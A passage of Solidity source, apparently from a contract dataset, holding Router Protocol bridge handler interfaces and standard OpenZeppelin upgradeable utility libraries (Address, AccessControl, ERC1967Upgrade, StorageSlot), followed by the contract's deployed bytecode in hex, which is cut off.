function setOneSplitAddress(address contractAddress) external;
/**
@notice Correlates {resourceID} with {contractAddress}.
@param contractAddress Address of contract for qhich liquidity pool needs to be created.
*/
function setLiquidityPool(
string memory name,
string memory symbol,
uint8 decimals,
address contractAddress,
address lpAddress
) external;
function setLiquidityPoolOwner(
address newOwner,
address tokenAddress,
address lpAddress
) external;
/**
@notice Marks {contractAddress} as mintable/burnable.
@param contractAddress Address of contract to be used when making or executing deposits.
@param status Boolean flag for burnanble status.
*/
function setBurnable(address contractAddress, bool status) external;
/**
@notice Used to manually release funds from ERC safes.
@param tokenAddress Address of token contract to release.
@param recipient Address to release tokens to.
@param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to release.
*/
function withdraw(
address tokenAddress,
address recipient,
uint256 amountOrTokenID
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
/**
@title Interface to be used with handlers that support ERC20s and ERC721s.
@author Router Protocol.
*/
interface IERCHandlerDecimals {
function setTokenDecimals(address tokenAddress, uint8 destinationChainID, uint8 decimals) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
/**
@title Interface for handler that handles generic deposits and deposit executions.
@author Router Protocol.
*/
interface IGenericHandler {
/**
@notice Correlates {resourceID} with {contractAddress}, {depositFunctionSig}, and {executeFunctionSig}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param depositFunctionDepositerOffset Depositer address position offset in the metadata, in bytes.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
uint256 depositFunctionDepositerOffset,
bytes4 executeFunctionSig
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.2;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function approve(address guy, uint256 wad) external returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
import "../beacon/IBeaconUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/StorageSlotUpgradeable.sol";
import "../utils/Initializable.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal onlyInitializing {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal onlyInitializing {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | 0x60806040526004361061037a5760003560e01c80637d026d96116101d1578063bb5ba77e11610102578063db618e2a116100a0578063e93476831161006f578063e934768314610af7578063ebc2693914610b2b578063f19ba3f814610b60578063fe79b9a914610b8057610381565b8063db618e2a14610a5c578063dfd441de14610a90578063e43252d714610aa3578063e63ab1e914610ac357610381565b8063c794c698116100dc578063c794c698146109dc578063cb10f215146109fc578063cd125cc214610a1c578063d547741f14610a3c57610381565b8063bb5ba77e14610983578063bf6eac2f1461099c578063c1557629146109bc57610381565b8063926d7d7f1161016f578063a07e338d11610149578063a07e338d146108f0578063a217fddf1461091e578063a9cf69fa14610933578063b2c0f6401461096057610381565b8063926d7d7f1461089b578063946fe3e8146108bd5780639be8eb53146108d057610381565b8063862159ab116101ab578063862159ab146107fe5780638ab1d681146108155780638ac4c1841461083557806391d148541461085557610381565b80637d026d96146107a95780638456cb59146107c957806385802129146107de57610381565b80634633f4e4116102ab5780635af5f7ba116102495780635cd1d2c3116102235780635cd1d2c31461072957806360829f8a146107495780636e99227e14610769578063780cf0041461078957610381565b80635af5f7ba146106b75780635bc51147146106d75780635c975abb1461071157610381565b80634f1ef286116102855780634f1ef2861461062d57806350d1882e1461064057806355883e47146106775780635a1ad87c1461069757610381565b80634633f4e4146105be57806349b9ac5e146105de5780634d98a61b1461061757610381565b80632f2ff15d116103185780633c047803116102f25780633c047803146105295780633db9b42a146105495780633dd301d9146105895780633f4ba83a146105a957610381565b80632f2ff15d146104c957806336568abe146104e95780633659cfe61461050957610381565b80631ff013f1116103545780631ff013f11461041757806320df435914610437578063248a9ca3146104795780632becbe31146104a957610381565b806301ffc9a7146103865780630e5f06e5146103bb57806317f03ce5146103f557610381565b3661038157005b600080fd5b34801561039257600080fd5b506103a66103a1366004614ce2565b610ba0565b60405190151581526020015b60405180910390f35b3480156103c757600080fd5b506103a66103d6366004614862565b6001600160a01b03166000908152610167602052604090205460ff1690565b34801561040157600080fd5b50610415610410366004614fe4565b610bd9565b005b34801561042357600080fd5b50610415610432366004615013565b610d59565b34801561044357600080fd5b5061046b7fbf233dd2aafeb4d50879c4aa5c81e96d92f6e6945c906a58f9f2d1c1631b4b2681565b6040519081526020016103b2565b34801561048557600080fd5b5061046b610494366004614be6565b60009081526097602052604090206001015490565b3480156104b557600080fd5b506104156104c436600461492d565b611536565b3480156104d557600080fd5b506104156104e4366004614bfe565b611678565b3480156104f557600080fd5b50610415610504366004614bfe565b611850565b34801561051557600080fd5b50610415610524366004614862565b6118ce565b34801561053557600080fd5b50610415610544366004614b56565b611a38565b34801561055557600080fd5b506101635461057190600160401b90046001600160a01b031681565b6040516001600160a01b0390911681526020016103b2565b34801561059557600080fd5b506103a66105a4366004614fe4565b611bdd565b3480156105b557600080fd5b50610415611cb2565b3480156105ca57600080fd5b506104156105d9366004614ecf565b611d2e565b3480156105ea57600080fd5b50610163546105ff906001600160401b031681565b6040516001600160401b0390911681526020016103b2565b34801561062357600080fd5b506101605461046b565b61041561063b366004614af6565b611e25565b34801561064c57600080fd5b5061057161065b366004614be6565b600090815261016560205260409020546001600160a01b031690565b34801561068357600080fd5b50610415610692366004614d16565b611f7c565b3480156106a357600080fd5b506104156106b2366004614a8d565b611ffa565b3480156106c357600080fd5b506104156106d2366004614bae565b61209e565b3480156106e357600080fd5b506105ff6106f2366004614eb3565b60ff16600090815261016460205260409020546001600160401b031690565b34801561071d57600080fd5b5060335460ff166103a6565b34801561073557600080fd5b50610415610744366004614a07565b6120f4565b34801561075557600080fd5b506104156107643660046149c7565b612197565b34801561077557600080fd5b50610415610784366004614c7c565b61226f565b34801561079557600080fd5b506104156107a436600461492d565b6123ec565b3480156107b557600080fd5b506104156107c4366004614be6565b61249f565b3480156107d557600080fd5b506104156124ef565b3480156107ea57600080fd5b506104156107f936600461497d565b612545565b34801561080a57600080fd5b5061046b6101625481565b34801561082157600080fd5b50610415610830366004614862565b6125bf565b34801561084157600080fd5b5061041561085036600461489a565b612688565b34801561086157600080fd5b506103a6610870366004614bfe565b60009182526097602090815260408084206001600160a01b0393909316845291905290205460ff1690565b3480156108a757600080fd5b5061046b60008051602061588c83398151915281565b6104156108cb366004614862565b6126f8565b3480156108dc57600080fd5b506104156108eb366004614be6565b6129d5565b3480156108fc57600080fd5b5061046b61090b366004614be6565b6000908152610166602052604090205490565b34801561092a57600080fd5b5061046b600081565b34801561093f57600080fd5b5061095361094e366004614fe4565b612a35565b6040516103b29190615635565b34801561096c57600080fd5b5061015f5460405160ff90911681526020016103b2565b34801561098f57600080fd5b506101615460ff166103a6565b3480156109a857600080fd5b506104156109b73660046149c7565b612b2e565b3480156109c857600080fd5b506104156109d73660046148d2565b612bfc565b3480156109e857600080fd5b5061046b6109f7366004614fe4565b612c49565b348015610a0857600080fd5b50610415610a17366004614a57565b612c82565b348015610a2857600080fd5b50610415610a37366004615058565b612d07565b348015610a4857600080fd5b50610415610a57366004614bfe565b6130d1565b348015610a6857600080fd5b5061046b7f8b9e7a9f25b0aca3f51c01b8fee30790fb16f4d4deded8385ae6643d054bb07881565b610415610a9e366004614ecf565b6132a2565b348015610aaf57600080fd5b50610415610abe366004614862565b6135b4565b348015610acf57600080fd5b5061046b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b348015610b0357600080fd5b5061046b7fe6ad9a47fbda1dc18de1eb5eeb7d935e5e81b4748f3cfc61e233e64f8818206081565b348015610b3757600080fd5b50610b4b610b46366004614c46565b613680565b604080519283526020830191909152016103b2565b348015610b6c57600080fd5b50610415610b7b366004614c22565b613724565b348015610b8c57600080fd5b50610415610b9b366004614fa6565b613774565b60006001600160e01b03198216637965db0b60e01b1480610bd157506301ffc9a760e01b6001600160e01b03198316145b90505b919050565b6000610be681335b6138bb565b60335460ff1615610c125760405162461bcd60e51b8152600401610c099061559e565b60405180910390fd5b6000848484604051602001610c2993929190615479565b60408051808303601f19018152828252805160209182012061016354600082815261016690935292822054632e31150760e11b85526004850152935091600160401b9091046001600160a01b031690635c622a0e9060240160206040518083038186803b158015610c9957600080fd5b505afa158015610cad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd19190614cfc565b90506004816004811115610cf557634e487b7160e01b600052602160045260246000fd5b14610d425760405162461bcd60e51b815260206004820152601a60248201527f50726f706f73616c206d7573742062652063616e63656c6c65640000000000006044820152606401610c09565b506000908152610166602052604081205550505050565b6000828152610165602052604090205482906001600160a01b0316610dd55760405162461bcd60e51b815260206004820152602c60248201527f4272696467655570677261646561626c653a204e6f2068616e646c657220666f60448201526b1c881c995cdbdd5c98d9525160a21b6064820152608401610c09565b60008051602061588c833981519152610dee8133610be1565b60335460ff1615610e115760405162461bcd60e51b8152600401610c099061559e565b6000868685604051602001610e2893929190615479565b60408051601f1981840301815291815281516020928301206000818152610166909352912054909150610f5e576101635461016054600091600160401b90046001600160a01b03169063ba831b9c90610e81904361573c565b6101635460405160e084901b6001600160e01b031916815260048101929092526001600160401b03166024820152604401602060405180830381600087803b158015610ecc57600080fd5b505af1158015610ee0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f049190614e24565b6000838152610166602052604090819020829055519091507f968626a768e76ba1363efe44e322a6c4900c5f084e0b45f35e294dfddaa9e0d590610f50908a908a906001908a9061568c565b60405180910390a150611169565b6101635460008281526101666020526040908190205490516345737d1d60e11b81526004810191909152600160401b9091046001600160a01b031690638ae6fa3a9060240160206040518083038186803b158015610fbb57600080fd5b505afa158015610fcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff39190614bca565b15611169576101635460008281526101666020526040908190205490516369ba1a7560e01b81526004810191909152600160401b9091046001600160a01b0316906369ba1a7590602401602060405180830381600087803b15801561105757600080fd5b505af115801561106b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108f9190614bca565b50610163546000828152610166602052604090819020549051632e31150760e11b815260048101919091527f968626a768e76ba1363efe44e322a6c4900c5f084e0b45f35e294dfddaa9e0d59189918991600160401b90046001600160a01b031690635c622a0e9060240160206040518083038186803b15801561111257600080fd5b505afa158015611126573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114a9190614cfc565b8760405161115b949392919061568c565b60405180910390a15061152e565b6004610163546000838152610166602052604090819020549051632e31150760e11b81526004810191909152600160401b9091046001600160a01b031690635c622a0e9060240160206040518083038186803b1580156111c857600080fd5b505afa1580156111dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112009190614cfc565b600481111561121f57634e487b7160e01b600052602160045260246000fd5b1461152c57610163546000828152610166602052604090819020549051630ce7fb8360e11b8152600481019190915260016024820152336044820152600160401b9091046001600160a01b0316906319cff70690606401602060405180830381600087803b15801561129057600080fd5b505af11580156112a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c89190614bca565b50610163546000828152610166602052